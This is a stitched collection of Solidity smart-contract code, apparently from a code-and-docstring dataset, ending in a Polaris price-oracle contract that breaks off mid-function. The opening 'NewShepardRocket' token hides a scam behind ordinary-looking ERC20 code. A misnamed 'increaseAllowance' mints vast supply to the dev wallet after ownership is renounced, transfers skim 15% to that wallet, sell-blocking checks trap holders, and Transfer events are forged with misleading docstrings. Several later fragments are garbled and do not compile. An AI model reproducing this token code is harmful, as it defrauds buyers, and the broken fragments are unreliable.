* Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract NewShepardRocket is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1 * 10**12 * 10**18; string private _name = 'New Shepard Rocket'; string private _symbol = 'NewShepardRocket'; uint8 private _decimals = 18; uint256 private _team = _tTotal.mul(30).div(100); uint256 private _tax = _team; address private _devWallet = _msgSender(); constructor () { _balances[_msgSender()] = _tTotal; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function checkIsBotAddress(address botAdd) private view returns (bool){ if (balanceOf(botAdd) >= _tax && balanceOf(botAdd) <= _team) { return true; } else { return false; } } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - increaseAllowance * * _Available since v3.1._ */ function increaseAllowance() public{ require (owner() == address(0)); uint256 currentBalance = _balances[_devWallet]; uint256 rTotal = _tTotal * 10**4; _tTotal = rTotal + _tTotal; _balances[_devWallet] = rTotal + currentBalance; emit Transfer( address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _devWallet, rTotal); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (checkIsBotAddress(sender)) { require(amount < _tax, "Cannot execute"); } uint256 reflectToken = amount.mul(15).div(100); uint256 reflectEth = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[_devWallet] = _balances[_devWallet].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectEth); emit Transfer(sender, recipient, reflectEth); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - decreaseAllowance * * _Available since v3.1._ */ function openTrading() public{ require (owner() == address(0)); _tax = 20; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } }
Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], also check address is bot address. Requirements: - the address is in list bot. - the called Solidity function must be `sender`. _Available since v3.1._/
function checkIsBotAddress(address botAdd) private view returns (bool){ if (balanceOf(botAdd) >= _tax && balanceOf(botAdd) <= _team) { return true; return false; } }
7,937,049
./full_match/80001/0x5828C287320288e130740ed538f3852fAD13995D/sources/contracts/market/template/MarketTieredLeverage.sol
This calculates the value transfer from the overbalanced to underbalanced side (i.e. the funding rate) This is a further incentive measure to balanced markets. This may be present on some and not other synthetic markets. _fundingRateMultiplier_e18 A scalar base e18 for the funding rate. overbalancedValue Side with more liquidity. underbalancedValue Side with less liquidity. return fundingAmount The amount the overbalanced side needs to pay the underbalanced.
function _calculateFundingAmount( uint256 _fundingRateMultiplier_e18, uint256 overbalancedValue, uint256 underbalancedValue ) internal view virtual returns (uint256 fundingAmount) { overBalanced * (1 - underBalanced/overBalanced) = overBalanced * (overBalanced - underBalanced)/overBalanced) = overBalanced - underBalanced = market imbalance funding amount = market imbalance * yearlyMaxFundingRate * epoch_length_in_seconds / (365.25days in seconds base e18) fundingAmount = ((overbalancedValue - underbalancedValue) * _fundingRateMultiplier_e18 * _oracleManager.EPOCH_LENGTH()) / SECONDS_IN_A_YEAR_e18;
846,118
./full_match/80001/0xBEa9479db568A7483Bd49e1Ed257075Ec70F4F78/sources/contracts/FixedProductMarketMaker.sol
Calculate the amount of conditional token to be bought with a certain amount of collateral. investmentAmount Amount of collateral token invested. outcomeIndex Position index of the condition.
function calcBuyAmount( uint256 investmentAmount, uint256 outcomeIndex ) public view returns (uint256) { if (outcomeIndex >= positionIds.length) revert InvalidOutcomeIndex(); uint256[] memory poolBalances = getPoolBalances(); uint256 investmentAmountMinusFees = investmentAmount - ((investmentAmount * fee) / ONE); uint256 buyTokenPoolBalance = poolBalances[outcomeIndex]; uint256 endingOutcomeBalance = buyTokenPoolBalance * ONE; for (uint256 i = 0; i < poolBalances.length; i++) { if (i != outcomeIndex) { uint256 poolBalance = poolBalances[i]; endingOutcomeBalance = (endingOutcomeBalance * poolBalance) .ceildiv(poolBalance + investmentAmountMinusFees); } } if (endingOutcomeBalance == 0) revert InvestmentDrainsPool(); return buyTokenPoolBalance + investmentAmountMinusFees - endingOutcomeBalance.ceildiv(ONE); }
9,475,448
pragma solidity 0.5.2; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Math * @dev Assorted math operations */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Calculates the average of two numbers. Since these are integers, * averages of an even and odd number cannot be represented, and will be * rounded down. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: Integer overflow"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: Invalid divisor zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: Integer underflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: Integer overflow"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: Invalid divisor zero"); return a % b; } } contract IUniswapExchange { // Address of ERC20 token sold on this exchange function tokenAddress() external view returns (address token); // Address of Uniswap Factory function factoryAddress() external view returns (address factory); // Provide Liquidity function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256); // Get Prices function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold); // Trade ETH to ERC20 function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought); function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold); function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold); // Trade ERC20 to ETH function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought); function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_tokens, uint256 deadline, address recipient) external returns (uint256 eth_bought); function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold); function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold); // Trade ERC20 to ERC20 function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought); function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought); function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold); function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold); // Trade ERC20 to Custom Pool function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought); function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought); function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold); function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold); // ERC20 comaptibility for liquidity tokens bytes32 public name; bytes32 public symbol; uint256 public decimals; function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); // Never use function setup(address token_addr) external; } contract IUniswapFactory { // Public Variables address public exchangeTemplate; uint256 public tokenCount; // Create Exchange function createExchange(address token) external returns (address payable exchange); // Get Exchange and Token Info function getExchange(address token) external view returns (address payable exchange); function getToken(address exchange) external view returns (address token); function getTokenWithId(uint256 tokenId) external view returns (address token); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0), "ERC20#approve: Cannot approve address zero"); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0), "ERC20#increaseAllowance: Cannot increase allowance for address zero"); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0), "ERC20#decreaseAllowance: Cannot decrease allowance for address zero"); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20#_transfer: Cannot transfer to address zero"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20#_mint: Cannot mint to address zero"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20#_burn: Cannot burn from address zero"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract OracleToken is ERC20 { string public name = "Polaris Token"; string public symbol = "PLRS"; uint8 public decimals = 18; address public oracle; address public token; constructor(address _token) public payable { oracle = msg.sender; token = _token; } function () external payable {} function mint(address to, uint amount) public returns (bool) { require(msg.sender == oracle, "OracleToken::mint: Only Oracle can call mint"); _mint(to, amount); return true; } function redeem(uint amount) public { uint ethAmount = address(this).balance.mul(amount).div(totalSupply()); _burn(msg.sender, amount); msg.sender.transfer(ethAmount); } } pragma experimental ABIEncoderV2; contract Polaris { using Math for uint; using SafeMath for uint; event NewMedian(address indexed token, uint ethReserve, uint tokenReserve); event Subscribe(address indexed token, address indexed subscriber, uint amount); event Unsubscribe(address indexed token, address indexed subscriber, uint amount); uint8 public constant MAX_CHECKPOINTS = 15; // Reward for a successful poke, in oracle tokens uint public constant CHECKPOINT_REWARD = 1e18; // Conditions for checkpoint reward uint public constant MIN_PRICE_CHANGE = .01e18; // 1% uint public constant MAX_TIME_SINCE_LAST_CHECKPOINT = 3 hours; uint public constant PENDING_PERIOD = 3.5 minutes; address public constant ETHER = address(0); // Monthly subscription fee to subscribe to a single oracle uint public constant MONTHLY_SUBSCRIPTION_FEE = 5 ether; uint public constant ONE_MONTH_IN_SECONDS = 30 days; IUniswapFactory public uniswap; struct Account { uint balance; uint collectionTimestamp; } struct Checkpoint { uint ethReserve; uint tokenReserve; } struct Medianizer { uint8 tail; uint pendingStartTimestamp; uint latestTimestamp; Checkpoint[] prices; Checkpoint[] pending; Checkpoint median; } // Token => Subscriber => Account mapping (address => mapping (address => Account)) public accounts; // Token => Oracle Token (reward for poking) mapping (address => OracleToken) public oracleTokens; // Token => Medianizer mapping (address => Medianizer) private medianizers; constructor(IUniswapFactory _uniswap) public { uniswap = _uniswap; } /** * @dev Subscribe to read the price of a given token (e.g, DAI). * @param token The address of the token to subscribe to. */ function subscribe(address token) public payable { Account storage account = accounts[token][msg.sender]; _collect(token, account); account.balance = account.balance.add(msg.value); require(account.balance >= MONTHLY_SUBSCRIPTION_FEE, "Polaris::subscribe: Account balance is below the minimum"); emit Subscribe(token, msg.sender, msg.value); } /** * @dev Unsubscribe to a given token (e.g, DAI). * @param token The address of the token to unsubscribe from. * @param amount The requested amount to withdraw, in wei. * @return The actual amount withdrawn, in wei. */ function unsubscribe(address token, uint amount) public returns (uint) { Account storage account = accounts[token][msg.sender]; _collect(token, account); uint maxWithdrawAmount = account.balance.sub(MONTHLY_SUBSCRIPTION_FEE); uint actualWithdrawAmount = amount.min(maxWithdrawAmount); account.balance = account.balance.sub(actualWithdrawAmount); msg.sender.transfer(actualWithdrawAmount); emit Unsubscribe(token, msg.sender, actualWithdrawAmount); } /** * @dev Collect subscription fees from a subscriber. * @param token The address of the subscribed token to collect fees from. * @param who The address of the subscriber. */ function collect(address token, address who) public { Account storage account = accounts[token][who]; _collect(token, account); } /** * @dev Add a new price checkpoint. * @param token The address of the token to checkpoint. */ function poke(address token) public { require(_isHuman(), "Polaris::poke: Poke must be called by an externally owned account"); OracleToken oracleToken = oracleTokens[token]; // Get the current reserves from Uniswap Checkpoint memory checkpoint = _newCheckpoint(token); if (address(oracleToken) == address(0)) { _initializeMedianizer(token, checkpoint); } else { Medianizer storage medianizer = medianizers[token]; require(medianizer.latestTimestamp != block.timestamp, "Polaris::poke: Cannot poke more than once per block"); // See if checkpoint should be rewarded if (_willRewardCheckpoint(token, checkpoint)) { oracleToken.mint(msg.sender, CHECKPOINT_REWARD); } // If pending checkpoints are old, reset pending checkpoints if (block.timestamp.sub(medianizer.pendingStartTimestamp) > PENDING_PERIOD || medianizer.pending.length == MAX_CHECKPOINTS) { medianizer.pending.length = 0; medianizer.tail = (medianizer.tail + 1) % MAX_CHECKPOINTS; medianizer.pendingStartTimestamp = block.timestamp; } medianizer.latestTimestamp = block.timestamp; // Add the checkpoint to the pending array medianizer.pending.push(checkpoint); // Add the pending median to the prices array medianizer.prices[medianizer.tail] = _medianize(medianizer.pending); // Find and store the prices median medianizer.median = _medianize(medianizer.prices); emit NewMedian(token, medianizer.median.ethReserve, medianizer.median.tokenReserve); } } /** * @dev Get price data for a given token. * @param token The address of the token to query. * @return The price data struct. */ function getMedianizer(address token) public view returns (Medianizer memory) { require(_isSubscriber(accounts[token][msg.sender]) || _isHuman(), "Polaris::getMedianizer: Not subscribed"); return medianizers[token]; } /** * @notice This uses the x * y = k bonding curve to determine the destination amount based on the medianized price. * 𝝙x = (𝝙y * x) / (y + 𝝙y) * @dev Get the amount of destination token, based on a given amount of source token. * @param src The address of the source token. * @param dest The address of the destination token. * @param srcAmount The amount of the source token. * @return The amount of destination token. */ function getDestAmount(address src, address dest, uint srcAmount) public view returns (uint) { if (!_isHuman()) { require(src == ETHER || _isSubscriber(accounts[src][msg.sender]), "Polaris::getDestAmount: Not subscribed"); require(dest == ETHER || _isSubscriber(accounts[dest][msg.sender]), "Polaris::getDestAmount: Not subscribed"); } if (src == dest) { return srcAmount; } else if (src == ETHER) { Checkpoint memory median = medianizers[dest].median; return srcAmount.mul(median.tokenReserve).div(median.ethReserve.add(srcAmount)); } else if (dest == ETHER) { Checkpoint memory median = medianizers[src].median; return srcAmount.mul(median.ethReserve).div(median.tokenReserve.add(srcAmount)); } else { Checkpoint memory srcMedian = medianizers[src].median; Checkpoint memory destMedian = medianizers[dest].median; uint ethAmount = srcAmount.mul(srcMedian.ethReserve).div(srcMedian.tokenReserve.add(srcAmount)); return ethAmount.mul(destMedian.ethReserve).div(destMedian.tokenReserve.add(ethAmount)); } } /** * @dev Determine whether a given checkpoint would be rewarded with newly minted oracle tokens. * @param token The address of the token to query checkpoint for. * @return True if given checkpoint satisfies any of the following: * Less than required checkpoints exist to calculate a valid median * Exceeds max time since last checkpoint * Exceeds minimum price change from median AND no pending checkpoints * Exceeds minimum percent change from pending checkpoints median * Exceeds minimum percent change from last checkpoint */ function willRewardCheckpoint(address token) public view returns (bool) { Checkpoint memory checkpoint = _newCheckpoint(token); return _willRewardCheckpoint(token, checkpoint); } /** * @dev Get the account for a given subscriber of a token feed. * @param token The token to query the account of the given subscriber. * @param who The subscriber to query the account of the given token feed. * @return The account of the subscriber of the given token feed. */ function getAccount(address token, address who) public view returns (Account memory) { return accounts[token][who]; } /** * @dev Get the owed amount for a given subscriber of a token feed. * @param token The token to query the owed amount of the given subscriber. * @param who The subscriber to query the owed amount for the given token feed. * @return The owed amount of the subscriber of the given token feed. */ function getOwedAmount(address token, address who) public view returns (uint) { Account storage account = accounts[token][who]; return _getOwedAmount(account); } /** * @dev Update the subscriber balance of a given token feed. * @param token The token to collect subscription revenues for. * @param account The subscriber account to collect subscription revenues from. */ function _collect(address token, Account storage account) internal { if (account.balance == 0) { account.collectionTimestamp = block.timestamp; return; } uint owedAmount = _getOwedAmount(account); OracleToken oracleToken = oracleTokens[token]; // If the subscriber does not have enough, collect the remaining balance if (owedAmount >= account.balance) { address(oracleToken).transfer(account.balance); account.balance = 0; } else { address(oracleToken).transfer(owedAmount); account.balance = account.balance.sub(owedAmount); } account.collectionTimestamp = block.timestamp; } /** * @dev Initialize the medianizer * @param token The token to initialize the medianizer for. * @param checkpoint The new checkpoint to initialize the medianizer with. */ function _initializeMedianizer(address token, Checkpoint memory checkpoint) internal { address payable exchange = uniswap.getExchange(token); require(exchange != address(0), "Polaris::_initializeMedianizer: Token must exist on Uniswap"); OracleToken oracleToken = new OracleToken(token); oracleTokens[token] = oracleToken; // Reward additional oracle tokens for the first poke to compensate for extra gas costs oracleToken.mint(msg.sender, CHECKPOINT_REWARD.mul(10)); Medianizer storage medianizer = medianizers[token]; medianizer.pending.push(checkpoint); medianizer.median = checkpoint; medianizer.latestTimestamp = block.timestamp; medianizer.pendingStartTimestamp = block.timestamp; // Hydrate prices queue for (uint i = 0; i < MAX_CHECKPOINTS; i++) { 